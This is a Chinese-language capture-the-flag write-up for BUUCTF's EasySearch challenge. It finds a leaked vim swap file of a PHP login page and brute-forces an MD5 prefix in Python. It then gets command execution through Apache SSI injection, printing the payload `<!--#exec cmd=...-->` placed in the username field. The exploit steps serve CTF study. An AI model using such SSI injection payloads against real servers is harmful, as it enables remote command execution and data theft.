BUUCTF [BJDCTF2020] EasySearch

BUUCTF [BJDCTF2020] EasySearch

考点:

  1. Apache SSI 远程命令执行
  2. shtml文件

启动环境:
BUUCTF [BJDCTF2020] EasySearch_第1张图片
一个登录框,尝试了弱密码与万能密码,均无结果,继续对题目进行信息收集,使用ctf-wscan扫描目录:

python3 ctf-wscan.py http://c4567f9c-24a4-42fd-a60f-1e02b2aa1f07.node3.buuoj.cn/

在这里插入图片描述
得到扫描结果,其存在index.php.swp文件:


	ob_start();
	function get_hash(){
     
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
     
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
     
            echo "";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            

Hello,'.$_POST['username'].'

*** ***'
; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo ""; }else { *** } *** ?>

其中get_hash()函数限制了password值经过MD5加密后的前六位值等于6d0bc1,然后在public目录下创建shtml文件,并以get_hash()函数返回值作为文件名,将POST方式传入的变量username的值写入文件中。

首先编写Python3脚本,爆破出MD5加密后前六位为6d0bc1的密码:

import hashlib

for i in range(1, 100000000):
    res = hashlib.md5(str(i).encode('utf-8')).hexdigest()

    if res[:6] == '6d0bc1':
        print(i, res)

运行程序,得到结果:
BUUCTF [BJDCTF2020] EasySearch_第2张图片
尝试使用2020666作为密码登陆,并使用BurpSuite抓取数据包:
BUUCTF [BJDCTF2020] EasySearch_第3张图片
使用Repeater发送数据包后,得到回显:
BUUCTF [BJDCTF2020] EasySearch_第4张图片
其中头信息中包含:Url_is_here: public/74bfe34b339a9de8d46a3b4654bb25a385fdf43d.shtml,访问该文件:
BUUCTF [BJDCTF2020] EasySearch_第5张图片
得到刚刚登陆的信息,经过查阅资料,shtml文件表示服务器当前开启了SSICGI支持,可以使用语法执行命令,参考资料
题目中username被写入了shtml文件,所以将其值修改为:
在这里插入图片描述

发送数据包,访问shtml页面,得到回显:
BUUCTF [BJDCTF2020] EasySearch_第6张图片
证明命令可以成功执行,查找到flag在../也就是上一级目录下:
BUUCTF [BJDCTF2020] EasySearch_第7张图片
构造payload:

username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666

访问返回的shtml文件地址,得到flag:
BUUCTF [BJDCTF2020] EasySearch_第8张图片

你可能感兴趣的:(BUUCTF,WEB,Writeup,BUUCTF,BJDCTF2020,EasySearch,writeup,CTF)